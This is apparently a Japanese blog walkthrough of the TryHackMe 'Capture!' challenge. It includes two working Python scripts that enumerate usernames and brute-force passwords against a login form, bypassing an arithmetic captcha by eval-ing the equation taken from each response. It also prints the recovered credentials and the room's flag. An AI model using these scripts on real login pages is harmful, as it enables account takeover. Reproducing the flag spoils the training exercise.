0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【TryHackMe】Capture!:Walkthrough

0
Posted at

概要

TryHackMe「Capture!」のWalkthroughです。

Task2

Q1.What is the value of flag.txt?

80番ポートにアクセスすると、ログインフォームが表示されます。

image.png

何度かログイン試行を行うと、計算式によるキャプチャが出現しました。

image.png

計算式のみのキャプチャなので、プログラムで回避できそうです。
以下の様な処理フローになりました。

1.ダミー認証情報で、初回POSTリクエスト送信(captchaパラメータなし)
2.ユーザー辞書ファイル1行目取得
3.1のレスポンスを取得し、レスポンスから計算式を抽出
4.計算結果をcapthcaパラメータに使用し、2のユーザー名でログイン試行
5.ユーザー辞書ファイル2行目取得
6.4のレスポンスを取得し、レスポンスから計算式を抽出
7.計算結果をcapthcaパラメータに使用し、5のユーザー名でログイン試行

2 ~ 7をループ

ログイン試行を行うコードを作成しました。

poc.py
import requests
import re
import sys

url = "http://ip/login"
user_list_file = "usernames.txt"
password = "test"
dummy_user = "dummy_user"

pattern = re.compile(r'(\d+\s*[\+\-\*\/]\s*\d+)\s*=')

def get_equation(html_text):
    match = pattern.search(html_text)
    if match:
        equation = match.group(1)
        return equation, eval(equation)
    return None, None

try:
    response = requests.post(url, data={'username': dummy_user, 'password': password})
    print("Initial dummy request sent.")
except requests.exceptions.RequestException as e:
    print(f"ERROR: Failed to connect to {url} ({e})")
    sys.exit(1)

try:
    with open(user_list_file, 'r', encoding='utf-8') as f:
        count = 0
        for line in f:
            username = line.strip()
            if not username: continue

            equation, result = get_equation(response.text)
            
            if not equation:
                print(f"FAILED: {username} (Captcha not found)")
                break

            payload = {
                'username': username,
                'password': password,
                'captcha': result
            }
            
            count += 1
            print(count)

            response = requests.post(url, data=payload)
            
            if "does not exist" not in response.text:
                print(f"SUCCESS: {username}")
                sys.exit(0)
            else:
                print(f"FAILED: {username}")

except FileNotFoundError:
    print("ERROR: Dictionary file not found.")

実行するとユーザー名が分かりました。

$ python poc.py

(中略)

SUCCESS: natalie

ユーザー名を使用してログイン試行すると、エラーメッセージが変化しました。

image.png

同様にパスワードを試行するコードを作成しました。

pass.py
import requests
import re
import sys

url = "http://10.48.140.37/login"
password_list_file = "passwords.txt"
target_user = "natalie"
dummy_user = "dummy_user"

pattern = re.compile(r'(\d+\s*[\+\-\*\/]\s*\d+)\s*=')

def get_equation(html_text):
    match = pattern.search(html_text)
    if match:
        equation = match.group(1)
        return equation, eval(equation)
    return None, None

try:
    response = requests.post(url, data={'username': dummy_user, 'password': 'dummy_password'})
    print("Initial dummy request sent.")
except requests.exceptions.RequestException as e:
    print(f"ERROR: Failed to connect ({e})")
    sys.exit(1)

try:
    with open(password_list_file, 'r', encoding='utf-8') as f:
        attempt_count = 0
        for line in f:
            password = line.strip()
            if not password: continue
            
            attempt_count += 1
            equation, result = get_equation(response.text)
            
            if not equation:
                print(f"FAILED: {password} (Attempt {attempt_count}: Captcha not found)")
                break

            payload = {
                'username': target_user,
                'password': password,
                'captcha': result
            }
            
            response = requests.post(url, data=payload)
          
            if "Invalid password" not in response.text:
                print(f"SUCCESS: {password} (Found at attempt {attempt_count})")
                sys.exit(0)
            else:
                print(f"FAILED: {password} (Attempt {attempt_count}: Invalid password)")

except FileNotFoundError:
    print("ERROR: Password dictionary file not found.")

実行するとパスワードが判明しました。

$ python pass.py

SUCCESS: sk8board (Found at attempt 344)

Username: natalie, Password: sk8boardでログインに成功し、フラグを入手できました。

image.png

A.7df2eabce36f02ca8ed7f237f77ea416

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?